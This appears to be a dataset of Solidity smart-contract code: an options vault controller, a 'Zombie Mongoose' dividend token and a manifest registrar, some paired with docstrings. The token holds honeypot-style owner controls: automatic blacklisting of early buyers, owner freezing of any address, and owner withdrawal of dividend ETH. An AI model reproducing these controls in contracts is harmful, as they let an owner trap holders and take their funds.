owner or vault operator to deposit long otoken require((_args.from == msg.sender) || (_args.from == _args.owner), "C16"); require(whitelist.isWhitelistedOtoken(_args.asset), "C17"); OtokenInterface otoken = OtokenInterface(_args.asset); require(now < otoken.expiryTimestamp(), "C18"); vaults[_args.owner][_args.vaultId].addLong(_args.asset, _args.amount, _args.index); pool.transferToPool(_args.asset, _args.from, _args.amount); emit LongOtokenDeposited(_args.asset, _args.owner, _args.from, _args.vaultId, _args.amount); } /** * @notice withdraw a long oToken from a vault * @dev only the account owner or operator can withdraw a long oToken, cannot be called when system is partiallyPaused or fullyPaused * @param _args WithdrawArgs structure */ function _withdrawLong(Actions.WithdrawArgs memory _args) internal notPartiallyPaused onlyAuthorized(msg.sender, _args.owner) { require(_checkVaultId(_args.owner, _args.vaultId), "C35"); OtokenInterface otoken = OtokenInterface(_args.asset); require(now < otoken.expiryTimestamp(), "C19"); vaults[_args.owner][_args.vaultId].removeLong(_args.asset, _args.amount, _args.index); pool.transferToUser(_args.asset, _args.to, _args.amount); emit LongOtokenWithdrawed(_args.asset, _args.owner, _args.to, _args.vaultId, _args.amount); } /** * @notice deposit a collateral asset into a vault * @dev only the account owner or operator can deposit collateral, cannot be called when system is partiallyPaused or fullyPaused * @param _args DepositArgs structure */ function _depositCollateral(Actions.DepositArgs memory _args) internal notPartiallyPaused onlyAuthorized(msg.sender, _args.owner) { require(_checkVaultId(_args.owner, _args.vaultId), "C35"); // only allow vault owner or vault operator to deposit collateral require((_args.from == msg.sender) || (_args.from == _args.owner), "C20"); require(whitelist.isWhitelistedCollateral(_args.asset), "C21"); (, uint256 typeVault, ) = getVaultWithDetails(_args.owner, _args.vaultId); if (typeVault == 1) { nakedPoolBalance[_args.asset] = nakedPoolBalance[_args.asset].add(_args.amount); require(nakedPoolBalance[_args.asset] <= nakedCap[_args.asset], "C37"); } vaults[_args.owner][_args.vaultId].addCollateral(_args.asset, _args.amount, _args.index); pool.transferToPool(_args.asset, _args.from, _args.amount); emit CollateralAssetDeposited(_args.asset, _args.owner, _args.from, _args.vaultId, _args.amount); } /** * @notice withdraw a collateral asset from a vault * @dev only the account owner or operator can withdraw collateral, cannot be called when system is partiallyPaused or fullyPaused * @param _args WithdrawArgs structure */ function _withdrawCollateral(Actions.WithdrawArgs memory _args) internal notPartiallyPaused onlyAuthorized(msg.sender, _args.owner) { require(_checkVaultId(_args.owner, _args.vaultId), "C35"); (MarginVault.Vault memory vault, uint256 typeVault, ) = getVaultWithDetails(_args.owner, _args.vaultId); if (_isNotEmpty(vault.shortOtokens)) { OtokenInterface otoken = OtokenInterface(vault.shortOtokens[0]); require(now < otoken.expiryTimestamp(), "C22"); } if (typeVault == 1) { nakedPoolBalance[_args.asset] = nakedPoolBalance[_args.asset].sub(_args.amount); } vaults[_args.owner][_args.vaultId].removeCollateral(_args.asset, _args.amount, _args.index); pool.transferToUser(_args.asset, _args.to, _args.amount); emit CollateralAssetWithdrawed(_args.asset, _args.owner, _args.to, _args.vaultId, _args.amount); } /** * @notice mint short oTokens from a vault which creates an obligation that is recorded in the vault * @dev only the account owner or operator can mint an oToken, cannot be called when system is partiallyPaused or fullyPaused * @param _args MintArgs structure */ function _mintOtoken(Actions.MintArgs memory _args) internal notPartiallyPaused onlyAuthorized(msg.sender, _args.owner) { require(_checkVaultId(_args.owner, _args.vaultId), "C35"); require(whitelist.isWhitelistedOtoken(_args.otoken), "C23"); OtokenInterface otoken = OtokenInterface(_args.otoken); require(now < otoken.expiryTimestamp(), "C24"); vaults[_args.owner][_args.vaultId].addShort(_args.otoken, _args.amount, _args.index); otoken.mintOtoken(_args.to, _args.amount); emit ShortOtokenMinted(_args.otoken, _args.owner, _args.to, _args.vaultId, _args.amount); } /** * @notice burn oTokens to reduce or remove the minted oToken obligation recorded in a vault * @dev only the account owner or operator can burn an oToken, cannot be called when system is partiallyPaused or fullyPaused * @param _args MintArgs structure */ function _burnOtoken(Actions.BurnArgs memory _args) internal notPartiallyPaused onlyAuthorized(msg.sender, _args.owner) { // check that vault id is valid for this vault owner require(_checkVaultId(_args.owner, _args.vaultId), "C35"); // only allow vault owner or vault operator to burn otoken require((_args.from == msg.sender) || (_args.from == _args.owner), "C25"); OtokenInterface otoken = OtokenInterface(_args.otoken); // do not allow burning expired otoken require(now < otoken.expiryTimestamp(), "C26"); // remove otoken from vault vaults[_args.owner][_args.vaultId].removeShort(_args.otoken, _args.amount, _args.index); // burn otoken otoken.burnOtoken(_args.from, _args.amount); emit ShortOtokenBurned(_args.otoken, _args.owner, _args.from, _args.vaultId, _args.amount); } /** * @notice redeem an oToken after expiry, receiving the payout of the oToken in the collateral asset * @dev cannot be called when system is fullyPaused * @param _args RedeemArgs structure */ function _redeem(Actions.RedeemArgs memory _args) internal { OtokenInterface otoken = OtokenInterface(_args.otoken); // check that otoken to redeem is whitelisted require(whitelist.isWhitelistedOtoken(_args.otoken), "C27"); (address collateral, address underlying, address strike, uint256 expiry) = _getOtokenDetails(address(otoken)); // only allow redeeming expired otoken require(now >= expiry, "C28"); require(_canSettleAssets(underlying, strike, collateral, expiry), "C29"); uint256 payout = getPayout(_args.otoken, _args.amount); otoken.burnOtoken(msg.sender, _args.amount); pool.transferToUser(collateral, _args.receiver, payout); emit Redeem(_args.otoken, msg.sender, _args.receiver, collateral, _args.amount, payout); } /** * @notice settle a vault after expiry, removing the net proceeds/collateral after both long and short oToken payouts have settled * @dev deletes a vault of vaultId after net proceeds/collateral is removed, cannot be called when system is fullyPaused * @param _args SettleVaultArgs structure */ function _settleVault(Actions.SettleVaultArgs memory _args) internal onlyAuthorized(msg.sender, _args.owner) { require(_checkVaultId(_args.owner, _args.vaultId), "C35"); (MarginVault.Vault memory vault, uint256 typeVault, ) = getVaultWithDetails(_args.owner, _args.vaultId); OtokenInterface otoken; // new scope to avoid stack too deep error // check if there is short or long otoken in vault // do not allow settling vault that have no short or long otoken // if there is a long otoken, burn it // store otoken address outside of this scope { bool hasShort = _isNotEmpty(vault.shortOtokens); bool hasLong = _isNotEmpty(vault.longOtokens); require(hasShort || hasLong, "C30"); otoken = hasShort ? OtokenInterface(vault.shortOtokens[0]) : OtokenInterface(vault.longOtokens[0]); if (hasLong) { OtokenInterface longOtoken = OtokenInterface(vault.longOtokens[0]); longOtoken.burnOtoken(address(pool), vault.longAmounts[0]); } } (address collateral, address underlying, address strike, uint256 expiry) = _getOtokenDetails(address(otoken)); // do not allow settling vault with un-expired otoken require(now >= expiry, "C31"); require(_canSettleAssets(underlying, strike, collateral, expiry), "C29"); (uint256 payout, bool isValidVault) = calculator.getExcessCollateral(vault, typeVault); // require that vault is valid (has excess collateral) before settling // to avoid allowing settling undercollateralized naked margin vault require(isValidVault, "C32"); delete vaults[_args.owner][_args.vaultId]; if (typeVault == 1) { nakedPoolBalance[collateral] = nakedPoolBalance[collateral].sub(payout); } pool.transferToUser(collateral, _args.to, payout); uint256 vaultId = _args.vaultId; address payoutRecipient = _args.to; emit VaultSettled(_args.owner, address(otoken), payoutRecipient, payout, vaultId, typeVault); } /** * @notice liquidate naked margin vault * @dev can liquidate different vaults id in the same operate() call * @param _args liquidation action arguments struct */ function _liquidate(Actions.LiquidateArgs memory _args) internal notPartiallyPaused { require(_checkVaultId(_args.owner, _args.vaultId), "C35"); // check if vault is undercollateralized // the price is the amount of collateral asset to pay per 1 repaid debt(otoken) // collateralDust is the minimum amount of collateral that can be left in the vault when a partial liquidation occurs (MarginVault.Vault memory vault, bool isUnderCollat, uint256 price, uint256 collateralDust) = _isLiquidatable( _args.owner, _args.vaultId, _args.roundId ); require(isUnderCollat, "C33"); // amount of collateral to offer to liquidator uint256 collateralToSell = _args.amount.mul(price).div(1e8); // if vault is partially liquidated (amount of short otoken is still greater than zero) // make sure remaining collateral amount is greater than dust amount if (vault.shortAmounts[0].sub(_args.amount) > 0) { require(vault.collateralAmounts[0].sub(collateralToSell) >= collateralDust, "C34"); } // burn short otoken from liquidator address, index of short otoken hardcoded at 0 // this should always work, if vault have no short otoken, it will not reach this step OtokenInterface(vault.shortOtokens[0]).burnOtoken(msg.sender, _args.amount); // decrease amount of collateral in liquidated vault, index of collateral to decrease is hardcoded at 0 vaults[_args.owner][_args.vaultId].removeCollateral(vault.collateralAssets[0], collateralToSell, 0); // decrease amount of short otoken in liquidated vault, index of short otoken to decrease is hardcoded at 0 vaults[_args.owner][_args.vaultId].removeShort(vault.shortOtokens[0], _args.amount, 0); // decrease internal naked margin collateral amount nakedPoolBalance[vault.collateralAssets[0]] = nakedPoolBalance[vault.collateralAssets[0]].sub(collateralToSell); pool.transferToUser(vault.collateralAssets[0], _args.receiver, collateralToSell); emit VaultLiquidated( msg.sender, _args.receiver, _args.owner, price, _args.roundId, collateralToSell, _args.amount, _args.vaultId ); } /** * @notice execute arbitrary calls * @dev cannot be called when system is partiallyPaused or fullyPaused * @param _args Call action */ function _call(Actions.CallArgs memory _args) internal notPartiallyPaused onlyWhitelistedCallee(_args.callee) { CalleeInterface(_args.callee).callFunction(msg.sender, _args.data); emit CallExecuted(msg.sender, _args.callee, _args.data); } /** * @notice check if a vault id is valid for a given account owner address * @param _accountOwner account owner address * @param _vaultId vault id to check * @return True if the _vaultId is valid, False if not */ function _checkVaultId(address _accountOwner, uint256 _vaultId) internal view returns (bool) { return ((_vaultId > 0) && (_vaultId <= accountVaultCounter[_accountOwner])); } function _isNotEmpty(address[] memory _array) internal pure returns (bool) { return (_array.length > 0) && (_array[0] != address(0)); } /** * @notice return if a callee address is whitelisted or not * @param _callee callee address * @return True if callee address is whitelisted, False if not */ function _isCalleeWhitelisted(address _callee) internal view returns (bool) { return whitelist.isWhitelistedCallee(_callee); } /** * @notice check if a vault is liquidatable in a specific round id * @param _owner vault owner address * @param _vaultId vault id to check * @param _roundId chainlink round id to check vault status at * @return vault struct, isLiquidatable, true if vault is undercollateralized, the price of 1 repaid otoken and the otoken collateral dust amount */ function _isLiquidatable( address _owner, uint256 _vaultId, uint256 _roundId ) internal view returns ( MarginVault.Vault memory, bool, uint256, uint256 ) { (MarginVault.Vault memory vault, uint256 typeVault, uint256 latestUpdateTimestamp) = getVaultWithDetails( _owner, _vaultId ); (bool isUnderCollat, uint256 price, uint256 collateralDust) = calculator.isLiquidatable( vault, typeVault, latestUpdateTimestamp, _roundId ); return (vault, isUnderCollat, price, collateralDust); } /** * @dev get otoken detail, from both otoken versions */ function _getOtokenDetails(address _otoken) internal view returns ( address, address, address, uint256 ) { OtokenInterface otoken = OtokenInterface(_otoken); try otoken.getOtokenDetails() returns ( address collateral, address underlying, address strike, uint256, uint256 expiry, bool ) { return (collateral, underlying, strike, expiry); } catch { return (otoken.collateralAsset(), otoken.underlyingAsset(), otoken.strikeAsset(), otoken.expiryTimestamp()); } } /** * @dev return if an expired oToken is ready to be settled, only true when price for underlying, * strike and collateral assets at this specific expiry is available in our Oracle module * @return True if the oToken has expired AND all oracle prices at the expiry timestamp have been finalized, False if not */ function _canSettleAssets( address _underlying, address _strike, address _collateral, uint256 _expiry ) internal view returns (bool) { return oracle.isDisputePeriodOver(_underlying, _expiry) && oracle.isDisputePeriodOver(_strike, _expiry) && oracle.isDisputePeriodOver(_collateral, _expiry); } /** * @dev updates the internal configuration of the controller */ function _refreshConfigInternal() internal { whitelist = WhitelistInterface(addressbook.getWhitelist()); oracle = OracleInterface(addressbook.getOracle()); calculator = MarginCalculatorInterface(addressbook.getMarginCalculator()); pool = MarginPoolInterface(addressbook.getMarginPool()); } }
return a specific vault _owner account owner _vaultId vault id of vault to return return Vault struct that corresponds to the _vaultId of _owner, vault type and the latest timestamp when the vault was updated/
function getVaultWithDetails(address _owner, uint256 _vaultId) public view returns ( MarginVault.Vault memory, uint256, uint256 ) { return (vaults[_owner][_vaultId], vaultType[_owner][_vaultId], vaultLatestUpdate[_owner][_vaultId]); }
6,146,097
/** https://t.me/zombiemongoose [¬º-°]¬ **/ pragma solidity ^0.8.7; /** * Standard SafeMath, stripped down to just add/sub/mul/div */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } /** * BEP20 standard interface. */ interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Allows for contract ownership along with multi-address authorization */ abstract contract Auth { address internal owner; constructor(address _owner) { owner = _owner; } /** * Function modifier to require caller to be contract deployer */ modifier onlyOwner() { require(isOwner(msg.sender), "!Owner"); _; } /** * Check if address is owner */ function isOwner(address account) public view returns (bool) { return account == owner; } /** * Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized */ function transferOwnership(address payable adr) public onlyOwner { owner = adr; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IDividendDistributor { function setShare(address shareholder, uint256 amount) external; function deposit() external payable; function claimDividend(address shareholder) external; function setTreasury(address treasury) external; function getDividendsClaimedOf (address shareholder) external returns (uint256); } contract DividendDistributor is IDividendDistributor { using SafeMath for uint256; address public _token; address public _owner; address public _treasury; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalClaimed; } address[] private shareholders; mapping (address => uint256) private shareholderIndexes; mapping (address => Share) public shares; uint256 public totalShares; uint256 public totalDividends; uint256 public totalClaimed; uint256 public dividendsPerShare; uint256 private dividendsPerShareAccuracyFactor = 10 ** 36; modifier onlyToken() { require(msg.sender == _token); _; } modifier onlyOwner() { require(msg.sender == _owner); _; } constructor (address owner, address treasury) { _token = msg.sender; _owner = payable(owner); _treasury = payable(treasury); } // receive() external payable { } function setShare(address shareholder, uint256 amount) external override onlyToken { if(shares[shareholder].amount > 0){ distributeDividend(shareholder); } if(amount > 0 && shares[shareholder].amount == 0){ addShareholder(shareholder); }else if(amount == 0 && shares[shareholder].amount > 0){ removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); } function deposit() external payable override { uint256 amount = msg.value; totalDividends = totalDividends.add(amount); dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)); } function distributeDividend(address shareholder) internal { if(shares[shareholder].amount == 0){ return; } uint256 amount = getClaimableDividendOf(shareholder); if(amount > 0){ totalClaimed = totalClaimed.add(amount); shares[shareholder].totalClaimed = shares[shareholder].totalClaimed.add(amount); shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); payable(shareholder).transfer(amount); } } function claimDividend(address shareholder) external override onlyToken { distributeDividend(shareholder); } function getClaimableDividendOf(address shareholder) public view returns (uint256) { if(shares[shareholder].amount == 0){ return 0; } uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; } return shareholderTotalDividends.sub(shareholderTotalExcluded); } function getCumulativeDividends(uint256 share) internal view returns (uint256) { return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1]; shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder]; shareholders.pop(); } function manualSend(uint256 amount, address holder) external onlyOwner { uint256 contractETHBalance = address(this).balance; payable(holder).transfer(amount > 0 ? amount : contractETHBalance); } function setTreasury(address treasury) external override onlyToken { _treasury = payable(treasury); } function getDividendsClaimedOf (address shareholder) external override view returns (uint256) { require (shares[shareholder].amount > 0, "You're not a Zombie Mongoose shareholder!"); return shares[shareholder].totalClaimed; } } contract ZombieMongoose is IBEP20, Auth { using SafeMath for uint256; address private WETH; address private DEAD = 0x000000000000000000000000000000000000dEaD; address private ZERO = 0x0000000000000000000000000000000000000000; string private constant _name = "Zombie Mongoose"; string private constant _symbol = "ZM"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1000000000 * (10 ** _decimals); uint256 private _maxTxAmountBuy = _totalSupply; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private isFeeExempt; mapping (address => bool) private isDividendExempt; mapping (address => bool) private isBot; uint256 private totalFee = 14; uint256 private feeDenominator = 100; address payable public marketingWallet = payable(0x649f93c80B8aB118209F4a70e406bB226612fDEE); address payable public treasury = payable(0x649f93c80B8aB118209F4a70e406bB226612fDEE); IDEXRouter public router; address public pair; uint256 public launchedAt; bool private tradingOpen; bool private buyLimit = true; uint256 private maxBuy = 10000000 * (10 ** _decimals); DividendDistributor public distributor; bool private inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor ( ) Auth(0x5CAb5cF06BDaA3A2933CaB3c77D2518DfcBcc04a) { address _owner = 0x5CAb5cF06BDaA3A2933CaB3c77D2518DfcBcc04a; router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = router.WETH(); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _allowances[address(this)][address(router)] = type(uint256).max; distributor = new DividendDistributor(_owner, treasury); isFeeExempt[_owner] = true; isFeeExempt[marketingWallet] = true; isFeeExempt[treasury] = true; isDividendExempt[pair] = true; isDividendExempt[address(this)] = true; isDividendExempt[DEAD] = true; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if (sender!= owner && recipient!= owner) require(tradingOpen, "Trading not yet enabled."); //transfers disabled before openTrading require (!isBot[sender] && !isBot[recipient], "Nice try"); if (buyLimit) { if (sender!=owner && recipient!= owner) require (amount<=maxBuy, "Too much sir"); } if (block.number <= (launchedAt + 1)) { isBot[recipient] = true; isDividendExempt[recipient] = true; } if(inSwap){ return _basicTransfer(sender, recipient, amount); } bool shouldSwapBack = /*!inSwap &&*/ (recipient==pair && balanceOf(address(this)) > 0); if(shouldSwapBack){ swapBack(); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); if(sender != pair && !isDividendExempt[sender]){ try distributor.setShare(sender, _balances[sender]) {} catch {} } if(recipient != pair && !isDividendExempt[recipient]){ try distributor.setShare(recipient, _balances[recipient]) {} catch {} } emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return ( !(isFeeExempt[sender] || isFeeExempt[recipient]) && (sender == pair || recipient == pair) ); } function takeFee(address sender, uint256 amount) internal returns (uint256) { uint256 feeAmount; feeAmount = amount.mul(totalFee).div(feeDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function swapBack() internal swapping { uint256 amountToSwap = balanceOf(address(this)); address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountTreasury = (address(this).balance).div(2); uint256 amountMarketing = (address(this).balance).div(2); payable(marketingWallet).transfer(amountMarketing); payable(treasury).transfer(amountTreasury); } function openTrading() external onlyOwner { launchedAt = block.number; tradingOpen = true; } function setBot(address _address) external onlyOwner { isBot[_address] = true; _setIsDividendExempt(_address, true); } function setBulkBots(address[] memory bots_) external onlyOwner { for (uint i = 0; i < bots_.length; i++) { isBot[bots_[i]] = true; _setIsDividendExempt(bots_[i], true); } } function delBulkBots(address[] memory bots_) external onlyOwner { for (uint i = 0; i < bots_.length; i++) { isBot[bots_[i]] = false; _setIsDividendExempt(bots_[i], false); } } function isInBot(address _address) external view onlyOwner returns (bool) { return isBot[_address]; } function _setIsDividendExempt(address holder, bool exempt) internal { require(holder != address(this) && holder != pair); isDividendExempt[holder] = exempt; if(exempt){ distributor.setShare(holder, 0); }else{ distributor.setShare(holder, _balances[holder]); } } function setIsDividendExempt(address holder, bool exempt) external onlyOwner { _setIsDividendExempt(holder, exempt); } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function setFee (uint256 _fee) external onlyOwner { require (_fee <= 14, "Fee can't exceed 14%"); totalFee = _fee; } function manualSend() external onlyOwner { uint256 contractETHBalance = address(this).balance; payable(marketingWallet).transfer(contractETHBalance); } function claimDividend() external { distributor.claimDividend(msg.sender); } function claimDividend(address holder) external onlyOwner { distributor.claimDividend(holder); } function getClaimableDividendOf(address shareholder) public view returns (uint256) { return distributor.getClaimableDividendOf(shareholder); } function manualBurn(uint256 amount) external onlyOwner returns (bool) { return _basicTransfer(address(this), DEAD, amount); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function setMarketingWallet(address _marketingWallet) external onlyOwner { marketingWallet = payable(_marketingWallet); } function setTreasury(address _treasury) external onlyOwner { treasury = payable(_treasury); distributor.setTreasury(_treasury); } function getTotalDividends() external view returns (uint256) { return distributor.totalDividends(); } function getTotalClaimed() external view returns (uint256) { return distributor.totalClaimed(); } function getDividendsClaimedOf (address shareholder) external view returns (uint256) { return distributor.getDividendsClaimedOf(shareholder); } function removeBuyLimit() external onlyOwner { buyLimit = false; } }
Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized/
function transferOwnership(address payable adr) public onlyOwner { owner = adr; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner);
27,892
pragma solidity ^0.4.24; /** * @title Registrar */ contract Registrar { address private contractOwner; bool public paused; struct Manifest { address registrant; bytes32 name; uint256 version; uint256 index; bytes32 hashTypeName; string checksum; uint256 createdOn; } struct HashType { bytes32 name; bool active; } uint256 public numHashTypes; mapping(bytes32 => Manifest) private manifests; mapping(address => bytes32[]) private registrantManifests; mapping(bytes32 => bytes32[]) private registrantNameManifests; mapping(bytes32 => uint256) private registrantNameVersionCount; mapping(bytes32 => uint256) public hashTypeIdLookup; mapping(uint256 => HashType) public hashTypes; /** * @dev Log when a manifest registration is successful */ event LogManifest(address indexed registrant, bytes32 indexed name, uint256 indexed version, bytes32 hashTypeName, string checksum); /** * @dev Checks if contractOwner addresss is calling */ modifier onlyContractOwner { require(msg.sender == contractOwner); _; } /** * @dev Checks if contract is active */ modifier contractIsActive { require(paused == false); _; } /** * @dev Checks if the values provided for this manifest are valid */ modifier manifestIsValid(bytes32 name, bytes32 hashTypeName, string checksum, address registrant) { require(name != bytes32(0x0) && hashTypes[hashTypeIdLookup[hashTypeName]].active == true && bytes(checksum).length != 0 && registrant != address(0x0) && manifests[keccak256(abi.encodePacked(registrant, name, nextVersion(registrant, name)))].name == bytes32(0x0) ); _; } /** * Constructor */ constructor() public { contractOwner = msg.sender; addHashType('sha256'); } /******************************************/ /* OWNER ONLY METHODS */ /******************************************/ /** * @dev Allows contractOwner to add hashType * @param _name The value to be added */ function addHashType(bytes32 _name) public onlyContractOwner { require(hashTypeIdLookup[_name] == 0); numHashTypes++; hashTypeIdLookup[_name] = numHashTypes; HashType storage _hashType = hashTypes[numHashTypes]; // Store info about this hashType _hashType.name = _name; _hashType.active = true; } /** * @dev Allows contractOwner to activate/deactivate hashType * @param _name The name of the hashType * @param _active The value to be set */ function setActiveHashType(bytes32 _name, bool _active) public onlyContractOwner { require(hashTypeIdLookup[_name] > 0); hashTypes[hashTypeIdLookup[_name]].active = _active; } /** * @dev Allows contractOwner to pause the contract * @param _paused The value to be set */ function setPaused(bool _paused) public onlyContractOwner { paused = _paused; } /** * @dev Allows contractOwner to kill the contract */ function kill() public onlyContractOwner { selfdestruct(contractOwner); } /******************************************/ /* PUBLIC METHODS */ /******************************************/ /** * @dev Function to determine the next version value of a manifest * @param _registrant The registrant address of the manifest * @param _name The name of the manifest * @return The next version value */ function nextVersion(address _registrant, bytes32 _name) public view returns (uint256) { bytes32 registrantNameIndex = keccak256(abi.encodePacked(_registrant, _name)); return (registrantNameVersionCount[registrantNameIndex] + 1); } /** * @dev Function to register a manifest * @param _name The name of the manifest * @param _hashTypeName The hashType of the manifest * @param _checksum The checksum of the manifest */ function register(bytes32 _name, bytes32 _hashTypeName, string _checksum) public contractIsActive manifestIsValid(_name, _hashTypeName, _checksum, msg.sender) { // Generate registrant name index bytes32 registrantNameIndex = keccak256(abi.encodePacked(msg.sender, _name)); // Increment the version for this manifest registrantNameVersionCount[registrantNameIndex]++; // Generate ID for this manifest bytes32 manifestId = keccak256(abi.encodePacked(msg.sender, _name, registrantNameVersionCount[registrantNameIndex])); Manifest storage _manifest = manifests[manifestId]; // Store info about this manifest _manifest.registrant = msg.sender; _manifest.name = _name; _manifest.version = registrantNameVersionCount[registrantNameIndex]; _manifest.index = registrantNameManifests[registrantNameIndex].length; _manifest.hashTypeName = _hashTypeName; _manifest.checksum = _checksum; _manifest.createdOn = now; registrantManifests[msg.sender].push(manifestId); registrantNameManifests[registrantNameIndex].push(manifestId); emit LogManifest(msg.sender, _manifest.name, _manifest.version, _manifest.hashTypeName, _manifest.checksum); } /** * @dev Function to get a manifest registration based on registrant address, manifest name and version * @param _registrant The registrant address of the manifest * @param _name The name of the manifest * @param _version The version of the manifest * @return The registrant address of the manifest * @return The name of the manifest * @return The version of the manifest * @return The index of this manifest in registrantNameManifests * @return The hashTypeName of the manifest * @return The checksum of the manifest * @return The created on date of the manifest */ function getManifest(address _registrant, bytes32 _name, uint256 _version) public view returns (address, bytes32, uint256, uint256, bytes32, string, uint256) { bytes32 manifestId = keccak256(abi.encodePacked(_registrant, _name, _version)); require(manifests[manifestId].name != bytes32(0x0)); Manifest memory _manifest = manifests[manifestId]; return ( _manifest.registrant, _manifest.name, _manifest.version, _manifest.index, _manifest.hashTypeName, _manifest.checksum, _manifest.createdOn ); } /** * @dev Function to get a manifest registration based on manifestId * @param _manifestId The registration ID of the manifest * @return The registrant address of the manifest * @return The name of the manifest * @return The version of the manifest * @return The index of this manifest in registrantNameManifests * @return The hashTypeName of the manifest * @return The checksum of the manifest * @return The created on date of the manifest */ function getManifestById(bytes32 _manifestId) public view returns (address, bytes32, uint256, uint256, bytes32, string, uint256) { require(manifests[_manifestId].name != bytes32(0x0)); Manifest memory _manifest = manifests[_manifestId]; return ( _manifest.registrant, _manifest.name, _manifest.version, _manifest.index, _manifest.hashTypeName, _manifest.checksum, _manifest.createdOn ); } /** * @dev Function to get the latest manifest registration based on registrant address and manifest name * @param _registrant The registrant address of the manifest * @param _name The name of the manifest * @return The registrant address of the manifest * @return The name of the manifest * @return The version of the manifest * @return The index of this manifest in registrantNameManifests * @return The hashTypeName of the manifest * @return The checksum of the manifest * @return The created on date of the manifest 